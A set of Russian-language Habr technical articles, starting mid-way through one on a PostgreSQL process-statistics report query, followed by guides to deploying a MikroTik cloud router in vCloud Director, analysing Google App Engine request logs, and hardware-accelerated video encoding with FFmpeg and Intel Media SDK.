| 1594893415 | 0 | 9 | 0.00 | 0.93 | 0.00 | 0.93 | 40 | 0.00 | 0.00 | 0 | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 350.47 | 0.00 | rcu\_sched |
| 1594893415 | 0 | 13 | 0.00 | 0.00 | 0.00 | 0.00 | 1 | 0.00 | 0.00 | 0 | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 1.87 | 0.00 | migration/11.87 |
Все эти значения делятся на несколько классов. Некоторые из них меняются постоянно (активность CPU и диска), другие — редко (выделение памяти), а Command — не только редко меняется в рамках одного процесса, но еще и регулярно повторяется на разных PID.
Структура базы
--------------
Для простоты давайте ограничимся одной метрикой каждого «класса», которые мы будем сохранять: %CPU, RSS и Command.
Раз мы заведомо знаем, что Command регулярно повторяется — просто вынесем его в отдельную таблицу-словарь, где UUID-ключом будет выступать MD5-хэш:
```
CREATE TABLE diccmd(
cmd
uuid
PRIMARY KEY
, data
varchar
);
```
А для самих данных нам подойдет таблица такого вида:
```
CREATE TABLE pidstat(
host
uuid
, tm
integer
, pid
integer
, cpu
smallint
, rss
bigint
, cmd
uuid
);
```
Обращу внимание, что раз %CPU приходит к нам всегда с точностью 2 знаков после запятой и заведомо не превышает 100.00, то мы спокойно можем домножить его на 100 и положить в `smallint`. С одной стороны, это избавит нас от [проблем точности учета](https://habr.com/ru/company/tensor/blog/508350/) при операциях, с другой — все-таки лучше хранить только **2 байта** по сравнению с 4 байтами `real` или 8 байтами `double precision`.
> Подробнее о способах эффективной упаковки записей в PostgreSQL-хранилище можно прочитать в статье [«Экономим копеечку на больших объемах»](https://habr.com/ru/post/498292/), а про увеличение пропускной способности базы на запись — в [«Пишем на субсветовой: 1 host, 1 day, 1TB»](https://habr.com/ru/post/497008/).
#### «Бесплатное» хранение NULL'ов
Чтобы сэкономить производительность дисковой подсистемы нашей базы и занимаемый базой объем, постараемся **как можно больше данных представить в виде NULL** — их хранение практически «бесплатно», поскольку занимает лишь бит в заголовке записи.
> Подробнее с внутренней механикой представления записей в PostgreSQL можно ознакомиться в докладе Николая Шаплова на PGConf.Russia 2016 [«Что у него внутри: хранение данных на низком уровне»](https://pgconf.ru/2016/90059). Конкретно хранению NULL посвящен [слайд #16](https://pgconf.ru/media/2016/05/13/tuple-internals-ru.pdf#page=16).
>
>
Снова внимательно посмотрим на виды наших данных:
* **CPU/DSK**
Меняется постоянно, но очень часто обращается в ноль — так что выгодно писать в базу **NULL вместо 0**.
* **RSS/CMD**
Меняется достаточно редко — поэтому будем писать **NULL вместо повторов** в рамках одного и того же PID.
Получается картинка вроде такой, если смотреть на нее в разрезе конкретного PID:
Понятно, что если у нас процесс начал выполнять другую команду, то значение используемой памяти тоже наверняка окажется не таким, как раньше — поэтому договоримся, что при смене CMD значение RSS тоже будем фиксировать, независимо от предыдущего значения.
То есть **у записи с заполненным значением CMD заполнено и значение RSS**. Запомним этот момент, он нам еще пригодится.
Собираем красивый отчет
-----------------------
Давайте теперь соберем запрос, который покажет нам потребителей ресурсов конкретного хоста на определенном временном интервале.
Но сделаем это сразу с минимальным использованием ресурсов — примерно как [в статье про SELF JOIN и оконные функции](https://habr.com/ru/post/508184/).
#### Использование входящих параметров
Чтобы не указывать значения параметров отчета (или $1/$2) в нескольких местах по ходу SQL-запроса, выделим **CTE из единственного json-поля**, в котором по ключам находятся эти самые параметры:
```
-- сохраняем параметры отчета
WITH args AS (
SELECT
json_object(
ARRAY[
'dtb'
, extract('epoch' from '2020-07-16 10:00'::timestamp(0)) -- переводим timestamp в integer
, 'dte'
, extract('epoch' from '2020-07-16 10:01'::timestamp(0))
, 'host'
, 'e828a54d-7e8a-43dd-b213-30c3201a6d8e' -- это у нас uuid
]::text[]
)
)
```
#### Извлекаем «сырые» данные
Поскольку никаких сложных агрегатов мы не придумывали, единственный способ проанализировать данные — прочитать их. Для этого нам понадобится очевидный индекс:
```
CREATE INDEX ON pidstat(host, tm);
```
```
-- извлекаем "сырые" данные
, src AS (
SELECT
*
FROM
pidstat
WHERE
host = ((TABLE args) ->> 'host')::uuid AND
tm >= ((TABLE args) ->> 'dtb')::integer AND
tm < ((TABLE args) ->> 'dte')::integer
)
```
#### Группировка по ключу анализа
Для каждого найденного PID определим интервал его активности и возьмем **CMD с первой записи** на этом интервале.
Для этого воспользуемся уникализацией через `DISTINCT ON` и оконными функциями:
```
-- группировка по ключу анализа
, pidtm AS (
SELECT DISTINCT ON(pid)
host
, pid
, cmd
, min(tm) OVER(w) tmb -- начало активности процесса на интервале
, max(tm) OVER(w) tme -- завершение активности
FROM
src
WINDOW
w AS(PARTITION BY pid)
ORDER BY
pid
, tm
)
```
#### Границы активности процесса
Заметим, что относительно начала нашего интервала первой попавшейся записью может оказаться как та, которая уже имеет заполненное поле CMD (PID#1 на картинке выше), так и с NULL'ом, обозначающим продолжение заполненного «выше» по хронологии значения (PID#2).
Те из PID, которые остались без CMD в результате предыдущей операции, начались раньше начала нашего интервала — значит, эти «начала» надо найти:
Поскольку мы точно знаем, что очередной сегмент активности начинается с заполненного значения CMD (а там и заполненный RSS, значит), тут нам поможет условный индекс:
```
CREATE INDEX ON pidstat(host, pid, tm DESC) WHERE cmd IS NOT NULL;
```
```
-- определяем начало активности каждого "неопределившегося" процесса
, precmd AS (
SELECT
t.host
, t.pid
, c.tm
, c.rss
, c.cmd
FROM
pidtm t
, LATERAL(
SELECT
*
FROM
pidstat -- увы, SELF JOIN не избежать
WHERE
(host, pid) = (t.host, t.pid) AND
tm < t.tmb AND
cmd IS NOT NULL -- садимся на условный индекс
ORDER BY
tm DESC
LIMIT 1
) c
WHERE
t.cmd IS NULL -- только для "неопределившихся"
)
```
Если мы хотим (а мы — хотим) знать время окончания активности сегмента, то уже для каждого PID придется воспользоваться «двухходовкой» для определения нижней границы.
> Аналогичную методику мы уже использовали в статье [«PostgreSQL Antipatterns: навигация по реестру»](https://habr.com/ru/post/498740/).
```
-- определяем момент окончания активности сегмента
, pstcmd AS (
SELECT
host
, pid
, c.tm
, NULL::bigint rss
, NULL::uuid cmd
FROM
pidtm t
, LATERAL(
SELECT
tm
FROM
pidstat
WHERE
(host, pid) = (t.host, t.pid) AND
tm > t.tme AND
tm < coalesce((
SELECT
tm
FROM
pidstat
WHERE
(host, pid) = (t.host, t.pid) AND
tm > t.tme AND
cmd IS NOT NULL
ORDER BY
tm
LIMIT 1
), x'7fffffff'::integer) -- MAX_INT4
ORDER BY
tm DESC
LIMIT 1
) c
)
```
#### JSON-конвертация форматов записей
Замечу, что мы отбирали в `precmd/pstcmd` только те поля, которые влияют на последующие строки, а всякие CPU/DSK, которые меняются постоянно — нет. Поэтому формат записей в исходной таблице и этих CTE у нас расходится. Не беда!
* **row\_to\_json** — превращаем каждую запись с полями в json-объект
* **array\_agg** — собираем все записи в '{...}'::json[]
* **array\_to\_json** — преобразуем массив-из-JSON в JSON-массив '[...]'::json
* **json\_populate\_recordset** — генерируем из JSON-массива выборку заданной структуры
> Тут мы используем именно однократный вызов `json_populate_recordset` вместо множественного `json_populate_record`, потому что это банально быстрее в разы.
Склеиваем найденные «начала» и «концы» в общую кучу и добавляем к исходному набору записей:
```
-- склеиваем все
, uni AS (
TABLE src
UNION ALL
SELECT
*
FROM
json_populate_recordset( -- развернули в полный
NULL::pidstat
, (
SELECT
array_to_json(array_agg(row_to_json(t))) -- свернули сокращенный формат
FROM
(
TABLE precmd
UNION ALL
TABLE pstcmd
) t
)
)
)
```
#### Заполняем NULL-пропуски повторов
> Воспользуемся моделью, рассмотренной в статье [«SQL HowTo: собираем «цепочки» с помощью window functions»](https://habr.com/ru/post/483460/).
Сначала выделим группы «повторов»:
```
-- выделение групп
, grp AS (
SELECT
*
, count(*) FILTER(WHERE cmd IS NOT NULL) OVER(w) grp -- группы по CMD
, count(*) FILTER(WHERE rss IS NOT NULL) OVER(w) grpm -- группы по RSS
FROM
uni
WINDOW
w AS(PARTITION BY pid ORDER BY tm)
)
```
Причем по CMD и RSS **группы будут независимы** друг от друга, поэтому могут выглядеть примерно так:
Заполним пропуски по RSS и посчитаем продолжительность каждого отрезка, чтобы корректно учесть распределение нагрузки по времени:
```
-- заполняем пропуски
, rst AS (
SELECT
*
, CASE
WHEN least(coalesce(lead(tm) OVER(w) - 1, tm), ((TABLE args) ->> 'dte')::integer - 1) >= greatest(tm, ((TABLE args) ->> 'dtb')::integer) THEN
least(coalesce(lead(tm) OVER(w) - 1, tm), ((TABLE args) ->> 'dte')::integer - 1) - greatest(tm, ((TABLE args) ->> 'dtb')::integer) + 1
END gln -- продолжительность сегмента от предыдущей записи или начала интервала
, first_value(rss) OVER(PARTITION BY pid, grpm ORDER BY tm) _rss -- заполнение пропусков по RSS
FROM
grp
WINDOW
w AS(PARTITION BY pid, grp ORDER BY tm)
)
```
#### Мультигруппировка с помощью GROUPING SETS
Поскольку мы хотим увидеть в результате одновременно и сводную информацию по всему процессу, и его детализацию по разным сегментам активности, воспользуемся группировкой сразу по нескольким наборам ключей с помощью [GROUPING SETS](https://postgrespro.ru/docs/postgresql/12/queries-table-expressions#QUERIES-GROUPING-SETS):
```
-- мультигруппировка
, gs AS (
SELECT
pid
, grp
, max(grp) qty -- количество сегментов активности по PID
, (array_agg(cmd ORDER BY tm) FILTER(WHERE cmd IS NOT NULL))[1] cmd -- "должен остаться только один"
, sum(cpu) cpu
, avg(_rss)::bigint rss
, min(tm) tmb
, max(tm) tme
, sum(gln) gln
FROM
rst
GROUP BY
GROUPING SETS((pid, grp), pid)
)
```
> Вариант использования `(array_agg(... ORDER BY ..) FILTER(WHERE ...))[1]` позволяет нам прямо при группировке, без дополнительных телодвижений получить **первое непустое (даже если оно не самое первое) значение** из всего набора.
Вариант получения сразу **нескольких разрезов целевой выборки** очень удобен для формирования различных отчетов с детализацией, чтобы все детализирующие данные не надо было перестраивать, а чтобы в UI они попадали вместе с основной выборкой.
#### Словарь вместо JOIN
Создаем «словарь» CMD для всех найденных сегментов:
> Подробнее про методику «ословаривания» можно прочесть в статье [«PostgreSQL Antipatterns: ударим словарем по тяжелому JOIN»](https://habr.com/ru/post/485398/).
```
-- словарь CMD
, cmdhs AS (
SELECT
json_object(
array_agg(cmd)::text[]
, array_agg(data)
)
FROM
diccmd
WHERE
cmd = ANY(ARRAY(
SELECT DISTINCT
cmd
FROM
gs
WHERE
cmd IS NOT NULL
))
)
```
А теперь используем его вместо `JOIN`, получая финальные «красивые» данные:
```
SELECT
pid
, grp
, CASE
WHEN grp IS NOT NULL THEN -- это "сегмент" активности
cmd
END cmd
, (nullif(cpu::numeric / gln, 0))::numeric(32,2) cpu -- приводим CPU к "средней" нагрузке
, nullif(rss, 0) rss
, tmb -- верхняя граница активности
, tme -- нижняя граница активности
, gln -- продолжительность активности
, CASE
WHEN grp IS NULL THEN -- это весь процесс
qty
END cnt
, CASE
WHEN grp IS NOT NULL THEN
(TABLE cmdhs) ->> cmd::text -- извлекаем данные из словаря
END command
FROM
gs
WHERE
grp IS NOT NULL OR -- это запись "сегмента"
qty > 1 -- или в процессе больше одного сегмента
ORDER BY
pid DESC
, grp NULLS FIRST;
```
Напоследок убедимся, что весь наш запрос при выполнении оказался достаточно легковесным:
[[посмотреть на explain.tensor.ru]](https://explain.tensor.ru/archive/explain/4b125d0c4127ac189febedb47b657e2a:0:2020-07-27)
Всего 44ms и 33MB данных прочитано! | https://habr.com/ru/post/511238/ | null | ru | null |
# Запускаем роутер Mikrotik CHR в облаке под управлением VMware vCloud Director 10
Нередко к нам обращаются с вопросом: «Можно ли установить в вашем облаке Router OS (MikroTik)» — первое, что возникает у нас в голове при виде этого вопроса: «Зачем?» — однако существует ряд логичных и весомых причин для использования программно-определяемых маршрутизаторов, отличных от предоставляемых облачным провайдером (VMware NSX Edge). Давайте подумаем, какие же это могут быть причины.
* **Однотипный знакомый интерфейс на всех сетевых устройствах** – довольно удобно иметь одинаковый интерфейс на всех маршрутизаторах, используемых в работе, особенно когда компания использует гибридное облако, разделяя ресурсы между разными облачными провайдерами. Не придется тратить время на изучение и понимание принципов и тонкостей работы с разномастными программно-определяемыми роутерами – можно быстро и четко выполнить необходимую задачу, сводя влияние человеческого фактора к минимуму.
* **Исключение проблем кроссплатформенности** – ни для кого не секрет, что такие проблемы есть и могут быть в будущем. Легче привести сетевую инфраструктуру к унифицированному виду, чем тратить время на поиск багов во взаимодействии маршрутизаторов разных производителей, что может быть нигде не задокументировано.
* **Ограничение доступа провайдера публичного облака до настроек маршрутизатора** – нечасто мы задумываемся, что провайдер публичного облака – это буквально большой брат, который имеет доступ ко всем настройкам внутри своей инфраструктуры, включая возможность увидеть pre shared key(PSK) IPsec VPN туннеля, который, казалось бы, должен быть виден только для пользователя. Это порождает новые безопасностные риски, которых можно избежать, скрыв от провайдера сетевые настройки.
* **Быстрый перенос инфраструктуры от одного провайдера публичного облака к другому** – к сожалению, стабильность в наше время — понятие абстрактное, поэтому легче всего иметь полностью готовую к работе виртуальную инфраструктуру. Это позволит свести к минимуму возможность возникновения проблем функционирования рабочих виртуальных машин в новой среде.
* **Исключение дополнительных затрат на активацию сетевых функций провайдера** – зачем платить больше, если можно использовать собственные программные решения? Зачастую стоимость ресурсов, используемых для функционирования Router OS намного меньше, чем приобретение различных сетевых опций (VPN, проброс портов) у некоторых провайдеров публичных облаков, например Облакотека.
Итак, как лучше всего приступить к работе по развертыванию Router OS в инфраструктуре VMware, используя vCloud Director 10? Легче всего это сделать, обратившись в службу поддержки облачного провайдера – это избавит пользователя от возможности возникновения проблем на стадии развертывания решения.
Первое, с чего стоит начать, скачав образ Cloud Hosted Router с официального сайта (образ в .ova формате), так это с проверки хэш-суммы файла. Проверить хэш-сумму можно стандартными средствами ОС Windows: консольная команда:
```
certutil -hashfile "путь к файлу" MD5
```
Убедившись, что хэш-суммы совпадают, можно продолжать работу по развертыванию программного решения.
Для загрузки собственного образа в облако необходимо создать личный каталог: в верхней панели выбрать
```
Libraries -> Content Libraries -> Catalogs -> New
```
Вводим имя нового каталога, можно, при необходимости, указать необходимую политику хранения для данного каталога.
После создания нового каталога пользователя мы уже можем загрузить наш .ova образ в шаблоны виртуальных машин:
```
Libraries -> Content Libraries -> vApp Templates -> New
```
Нажимаем кнопку Browse и выбираем нашу виртуальную машину в формате .ova
Проверяем верность информации об образе и импортируем образ в созданный нами ранее каталог.
После нажатия на кнопку Finish, мы увидим, что началась загрузка образа. Как только статус шаблона перейдет в Normal, мы сможем разворачивать этот шаблон в новый vApp.
В панели Libraries -> Content Libraries -> vApp Templates выбираем загруженный нами шаблон и нажимаем на Create vApp
Выбираем соответствующее нашим запросам имя нового vApp
Выбираем политику хранения для развертывания шаблона
В Configure Networking необходимо проверить, что сетевой адаптер выбран типа VMXNET3 (для этого необходимо выбрать галочку Switch to the advanced networking workflow)
После этого осталось только выбрать выделяемые виртуальной машине ресурсы и нажать на Finish
В результате успешного развертывания шаблона у нас появится новый vApp с новой виртуальной машиной с Router OS в статусе Powered Off
Для подключение виртуальной машины к сети организации необходимо добавить эту сеть в vApp:
```
Compute -> vApps -> Details -> Networks -> New
```
и выбираем нашу сеть в поле OrgVDC Network
В настройках виртуальной машины изменяем сеть, подключенную к сетевому адаптеру:
```
Compute -> Virtual Machines -> Details -> Hardware -> NICs -> Network
```
Для подключения к консоли виртуальной машины в среде управления vCloud Director нажмите на изображение монитора во вкладке Compute -> Virtual Machines
Не забудьте сменить пароль администратора виртуальной машины перед подключением машины в сеть (данные для входа по умолчанию: admin без пароля), для этого в консоли наберите следующую команду для отображения всех пользователей.
```
/user print
```
После этого можно изменить пароль соответствующего пользователя
```
/user set 0 password=«пароль»
```
Далее нам необходимо настроить внешний интерфейс маршрутизатора и дефолтный маршрут, для возможности использования решения.
Чтобы отобразить все сетевые интерфейсы, доступные ОС, введите команду:
```
/interface ethernet print
```
После этого добавьте на данный интерфейс сетевой адрес и максу подсети командой:
```
/ip address add interface=”имя интерфейса” address=”ip адрес в свойствах виртуальной машины на этом интерфейсе” netmask=”маска подсети организации”
```
Проверьте правильность ввода данных выводом команды:
```
/ip address print
```
Для корректной работы маршрутизатора необходимо добавить маршрут по умолчанию:
```
/ip route add gateway=”ip адрес шлюза подсети” dst-address=0.0.0.0/0 distance=1
/ip route print
```
После смены пароля администратора ОС и настройки маршрута по умолчанию, мы можем включать правила Firewall и NAT для беспрепятственного проброса портов до MikroTik:
```
Networking -> Edges -> Services -> Firewall и NAT
```
После выполнения всех действий по внешнему Ip адресу должен быть доступен интерфейс настройки MikroTik для дальнейшего администрирования.
Не забудьте, что без должного лицензирования скорость передачи данных через Cloud Hosted Router будет ограничена.
Можно рассуждать сколько угодно о плюсах и минусах того или иного программного решения для маршрутизации траффика, однако все зависит от поставленных задач и сроков реализации. Никогда не стоит пренебрегать знаниями, которые могут пригодиться в самой неожиданной ситуации. | https://habr.com/ru/post/526694/ | null | ru | null |
# Подробная статистика запросов из логов
Недавно был [пост](http://habrahabr.ru/blogs/gae/78445/) о сборе статистики в Google App Engine. Вот один из рецептов, который я использую для подобных целей:
````
#!/bin/bash
appcfg.py --num_days=10 request_logs code/ today.txt
visitors -A -m 50 -T --time-delta 10 --trails --prefix http://toptuby.appspot.com/ today.txt > today.html
firefox today.html
````
Так получается и показывается в браузере статистика за последние 10 дней для приложения [toptuby.appspot.com](http://toptuby.appspot.com/)
appcfg.py позволяет [скачивать логи](http://code.google.com/appengine/docs/python/tools/uploadinganapp.html#Downloading_Logs) сервера. В примере выше они помещаются в файл today.txt. Эти логи потом анализируются минималистичным анализатором логов [visitors](http://www.hping.org/visitors/). Указывается что надо учитывать все логи, максимальное количество полей в таблицах, сдвиг по времени, и то что нужно показывать типичные переходы внутри сайта. В результате получается страница html, которую можно посмотреть в любом браузере (все графики и диаграмы делаются при помощи элементов html). На сайте программы есть [пример отчета](http://www.hping.org/visitors/report.html). Больше о параметрах и appcfg.py, и visitors можно узнать просто набрав их в коммандной строке без параметров.
Таким образом, за один прием можно получать актуальную статистику, включая то, как ведут себя роботы. appcfg.py не имеет ограничение на 1000 запросов — доводилось скачивать логи и более 5000 записей, но это занимает время. Visitors генерирует отчеты по количеству уникальных посетителей в день, переходам из Google, внешним ссылкам, браузерам, операционным системам, роботам и еще около дюжины.
Недостаток visitors в том, что под Windows ее надо собирать из исходников на C (я это там так и не делал). Под Linux собирается на ура, в убунтовском репозитории тоже имеется. На удивление утилита не упоминается на [странице Википедии о веб-анализаторах](http://en.wikipedia.org/wiki/List_of_web_analytics_software). С таким подходом можно пользоваться всеми, что упомянуты там как «logfile-based».
Если кто-то пользуется интересными анализаторами логов, что нет в списки в Википедии — маякните в комментариях. | https://habr.com/ru/post/78485/ | null | ru | null |
# Повышение производительности мультимедиа приложений с помощью аппаратного ускорения
Архитектура процессоров Intel становится все более ориентированной на ГП, что открывает удивительные возможности для резкого повышения производительности просто за счет разгрузки обработки мультимедиа с ЦП на ГП. Существует немало инструментов, доступных разработчикам для повышения производительности мультимедиа приложений. В числе этих инструментов есть бесплатные и простые в использовании.
В этой публикации вы найдете:
* Обзор вычислительных архитектур и текущие возможности ГП Intel
* Реализацию аппаратного ускорения с помощью FFmpeg
* Реализацию аппаратного ускорения с помощью [Intel Media SDK](https://software.intel.com/en-us/media-sdk) или аналогичного компонента [Intel Media Server Studio](https://software.intel.com/en-us/intel-media-server-studio) (в зависимости от целевой платформы)
Если вы испытываете потребность повысить производительность обработки мультимедиа, но не знаете, с чего начать, начните с FFmpeg. Измерьте производительность при программной обработке, затем просто включите аппаратное ускорение и проверьте, насколько изменилась производительность. Затем добавьте использование Intel Media SDK и снова сравнивайте при использовании разных кодеков и в разных конфигурациях.
Вычислительная архитектура: от суперскалярной до разнородной
------------------------------------------------------------
Чтобы оценить важность развития ГП, давайте начнем с истории совершенствования архитектуры ЦП.
Вернемся в девяностые годы. Первый серьезный этап в развитии — появление суперскалярной архитектуры, в которой была достигнута высокая пропускная способность за счет параллельной обработки на уровне инструкций в пределах одного процессора.
*Рисунок 1. Суперскалярная архитектура*
Затем, в начале нулевых, появилась многоядерная архитектура (когда в составе одного процессора может быть более одного вычислительного ядра). Однородные ядра (все полностью идентичные) позволяли выполнять одновременно несколько потоков (параллельная обработка на уровне потоков).
При этом производительность многоядерной архитектуры была ограничена из-за целого ряда препятствий.
* Память: возрастал разрыв между скоростью процессора и скоростью памяти.
* Параллельная обработка на уровне инструкций (ILP): становилось все труднее обнаруживать доступные для параллельной обработки инструкции в пределах одного потока, чтобы полностью занять ресурсы одного высокопроизводительного ядра.
* Потребляемая мощность: при постепенном повышении тактовой частоты процессоров потребление электроэнергии росло в геометрической прогрессии.
*Рисунок 2. Многоядерная архитектура*
Современная разнородная архитектура
-----------------------------------
В разнородной архитектуре может быть несколько процессоров, использующих общий конвейер данных, которые можно оптимизировать для отдельных функций кодирования, декодирования, преобразования, масштабирования, применения чересстрочной развертки и т. д.
Другими словами, благодаря этой архитектуре мы получили ощутимые преимущества как в области производительности, так и в области потребления электроэнергии, недоступные ранее. На рис. 3 показано развитие ГП за пять последних поколений: графические процессоры приобретают все более важное значение. И при использовании h.264, и при переходе на самые современные кодеки h.265 графические процессоры предоставляют значительную вычислительную мощность, благодаря которой обработка видео с разрешением 4K и даже с более высоким разрешением не только становится возможной, но и выполняется достаточно быстро.
*Рисунок 3. Развитие разнородной архитектуры*
Поколения производительности ГП
-------------------------------
На рис. 4 показано резкое повышение вычислительной мощности всего за несколько поколений, в которых графические процессоры конструктивно размещались на одном кристалле с ЦП. Если в вашем приложении используется обработка мультимедиа, необходимо задействовать разгрузку на ГП, чтобы добиться ускорения в 5 раз или более (в зависимости от возраста и конфигурации системы).
*Рисунок 4. Усовершенствование обработки графики в каждом поколении процессоров Intel*
Приступая к программированию ГП
-------------------------------
На шаге 1 обычно измеряется производительность H.264, чтобы можно было в дальнейшем оценивать изменение производительности по мере доработки кода. FFmpeg часто используется для измерения производительности и для сравнения скорости при использовании аппаратного ускорения. FFmpeg — очень мощный, но при этом достаточно простой в использовании инструмент.
На шаге 2 проводится тестирование с разными кодеками и в разных конфигурациях. Можно включить аппаратное ускорение, просто заменив кодек (замените libx264 на h264\_qsv) на использующий [Intel Quick Sync Video](http://www.intel.com/content/www/us/en/architecture-and-technology/quick-sync-video/quick-sync-video-general.html?wapkw=intel+quick+sync+video).
На шаге 3 добавлено использование Intel Media SDK.
Примечание. В этой публикации рассматривается использование этих инструментов в операционной системе Windows\*. Если вас интересует реализация для Linux\*, см. [Доступ к Intel Media Server Studio для кодеков Linux с помощью FFmpeg](https://software.intel.com/en-us/articles/accessing-intel-media-server-studio-for-linux-codecs-with-ffmpeg).
### ▍Кодирование и декодирование FFmpeg
Начните с H.264 (AVC), поскольку h264: libx264 является программной реализацией в FFmpeg по умолчанию и выдает высокое качество исключительно программными средствами. Создайте собственный тест, затем снова измерьте производительность, сменив кодек с libx264 на h264\_qsv. Позднее мы поговорим о кодеках H.265.
Следует отметить, что при работе с видеопотоками приходится выбирать между качеством и скоростью. При более быстрой обработке практически всегда снижается качество и возрастает размер файлов. Вам придется найти собственный приемлемый уровень качества, основываясь на количестве времени, необходимого для кодирования. Существует 11 предустановок для выбора определенного сочетания качества и скорости — от «Самой быстрой» до «Самой медленной». Существует несколько алгоритмов управления скоростью данных:
* кодирование за 1 проход с постоянной скоростью данных (set -b:v);
* кодирование за 2 прохода с постоянной скоростью данных;
* постоянный коэффициент скорости (CRF).
Intel Quick Sync Video поддерживает декодирование и кодирование с помощью ЦП Intel и интегрированного ГП1. Обратите внимание, что процессор Intel должен быть совместимым с Quick Sync Video и с OpenCL\*. Дополнительные сведения см. в [Заметках о выпуске Intel SDK для приложений OpenCL\*](http://http/www.intel.com/content/www/us/en/architecture-and-technology/quick-sync-video/quick-sync-video-general.html https:/software.intel.com/en-us/articles/intel-sdk-for-opencl-applications-2013-release-notes). Поддержка декодирования и кодирования встроена в FFmpeg с помощью кодеков с суффиксом **\_qsv**. В настоящее время Quick Sync Video поддерживается следующими кодеками: видео MPEG2, VC1 (только декодирование), H.264 и H.265.
Если вы хотите поэкспериментировать с Quick Sync Video в FFmpeg, необходимо добавить libmfx. Самый простой способ установить эту библиотеку — использовать [версию libmfx](https://github.com/lu-zero/mfx_dispatch), упакованную разработчиком lu\_zero.
Пример кодирования с аппаратным ускорением Quick Sync Video:
`ffmpeg -I INPUT -c:v h264_qsv -preset:v faster out.qsv.mp4`
FFmpeg также может использовать [аппаратное ускорение](https://trac.ffmpeg.org/wiki/HWAccelIntro) при декодировании с помощью параметра **-hwaccel**.
Кодек h264\_qsv работает очень быстро, но видно, что даже самый медленный режим работы с аппаратным ускорением значительно быстрее только программного кодирования при самом низком качестве и самой высокой скорости.
При тестировании с кодеками H.265 вам потребуется либо получить доступ к сборке с поддержкой libx265, либо собрать собственную версию согласно инструкциям в [Руководстве по кодированию для FFmpeg и H.265](http://trac.ffmpeg.org/wiki/Encode/H.265) или в [документации X265](http://x265.readthedocs.org/en/default/introduction.html).
Пример H.265:
`ffmpeg -I input -c:v libx265 - preset medium -x265-params crf=28 -c:a aac -strict experimental -b:a 128k output.mp4`
Дополнительные сведения об использовании FFmpeg и Quick Sync Video см. в разделе [Облачные вычисления Intel QuickSync Video и FFmpeg](http://www.intel.com/content/dam/www/public/us/en/documents/white-papers/cloud-computing-quicksync-video-ffmpeg-white-paper.pdf).
Использование Intel Media SDK (sample\_multi\_transcode)
--------------------------------------------------------
Для дальнейшего повышения производительности при использовании FFmpeg необходимо оптимизировать приложение с помощью Intel Media SDK. Media SDK — это межплатформенный интерфейс API для разработки и оптимизации мультимедиа приложений таким образом, чтобы использовать аппаратное ускорение блоков Intel с фиксированными функциями.
* Если ваши приложения и решения мультимедиа предназначены для клиентских устройств, используйте пакет [Intel Media SDK](https://software.intel.com/en-us/media-sdk). Его можно [загрузить бесплатно](https://registrationcenter.intel.com/en/forms/?productid=2602).
* Если же ваши решения предназначены для встроенных систем, серверов или облачных платформ, доступ к Intel Media SDK можно получить с помощью [Intel Media Server Studio](https://software.intel.com/en-us/intel-media-server-studio). У этого решения есть [бесплатный выпуск Community Edition](https://registrationcenter.intel.com/RegCenter/comform.aspx?productid=2411) и два платных выпуска: [Essentials и Professional](https://software.intel.com/en-us/intel-media-server-studio/try-buy) (их также можно использовать для ускорения перехода на HEVC и 4K/UHD).
Чтобы начать работать с Intel Media SDK, достаточно выполнить несколько простых действий:
1. Загрузите [Intel Media SDK](https://software.intel.com/en-us/articles/installing-and-running-intel-media-sdk-2014-on-windows) для целевого устройства.
2. Загрузите учебные руководства и прочтите их, чтобы понять, как настраивать программное обеспечение с помощью SDK.
3. Установите Intel Media SDK. Если вы используете Linux, см. [руководство по установке для Linux](https://software.intel.com/sites/default/files/media_server_studio_getting_started_guide.pdf).
4. Загрузите [образец кода SDK](https://software.intel.com/en-us/intel-media-server-studio-support/code-samples), чтобы поэкспериментировать с уже скомпилированными образцами приложений.
5. Соберите и запустите приложение Video Transcoding: *sample\_multi\_transcode*
Команды аналогичны командам FFmpeg. Примеры:
`VideoTranscoding_folder\_bin\x64>\sample_multi_transcode.exe -hw -i::h264 in.mpeg2 -o::h264 out.h264
VideoTranscoding_folder\_bin\x64>\sample_multi_transcode.exe -hw -i::h265 in.mpeg2 -o::h265 out.h265`
Обратите внимание, что для использования аппаратного ускорения необходимо указать параметр **-hw** в списке аргументов.
Этот пример также работает с декодером и кодировщиком HEVC (h.265), но его необходимо устанавливать из выпуска Intel Media Server Studio Pro.
Существует множество параметров, которые можно указывать в командной строке. С помощью параметра *-u* можно задать целевое использование (TU), как при использовании предустановок FFmpeg. TU = 4 используется по умолчанию. На рис. 5 показаны показатели производительности при разных настройках TU.
*Рисунок 5. Примеры характеристик производительности H264 по отношению к целевому использованию*
**Используйте другие программные средства Intel**
Для дальнейшей доработки кода можно использовать средства оптимизации и профилирования Intel, в том числе [Intel Graphics Performance Analyzer](https://software.intel.com/en-us/gpa) (GPA) и [Intel VTune Amplifier](https://software.intel.com/en-us/intel-vtune-amplifier-xe). Кроме того, инструменты [Intel Video Pro Analyzer](https://software.intel.com/en-us/intel-video-pro-analyzer) и [Intel Stress Bitstreams and Encoder](https://software.intel.com/en-us/intel-stress-bitstreams-and-encoder) помогут добиться высокого качества видео и поточной передачи, улучшить работу кодировщиков и декодеров, а также ускорить проверку, чтобы можно было быстрее выпускать решения на рынок.
Заключение
----------
Компьютерная архитектура претерпела значительные изменения за последние 20 лет, причем ее развитие лишь в течение последних пяти лет дало существенный рост производительности. Теперь ЦП Intel могут обрабатывать мультимедиа непосредственно на ГП, благодаря чему становятся доступными новые модели использования как для конечных потребителей, так и для компаний.
Вы можете самостоятельно измерить повышение производительности с помощью FFmpeg, а также дополнительно оптимизировать код с помощью бесплатных интерфейсов API Intel Media SDK. Переход от программной обработки к аппаратному ускорению повышает производительность системы и снижает расход электроэнергии (и затраты), а также предоставляет дополнительные вычислительные ресурсы, достаточные, чтобы со временем перейти на семейство кодеков H.265.
Дополнительные ресурсы
----------------------
1. [Установите и запустите Intel Media SDK в Windows](https://software.intel.com/en-us/articles/installing-and-running-intel-media-sdk-2014-on-windows)
2. [FFMPEG.ORG](http://ffmpeg.org/)
3. [Интеграция Intel Media SDK с FFMPEG для операций мультиплексирования, демультиплексирования, кодирования и декодирования звука](https://software.intel.com/en-us/articles/integrating-intel-media-sdk-with-ffmpeg-for-muxdemuxing-and-audio-encodedecode-usages)
4. [Учебные руководства по Intel Media SDK для клиентов и серверов](https://software.intel.com/en-us/articles/media-sdk-tutorials-for-client-and-server)
5. [Intel Graphics Performance Analyzers](https://software.intel.com/en-us/gpa)
6. [Intel VTune Amplifier](https://software.intel.com/en-us/intel-vtune-amplifier-xe)
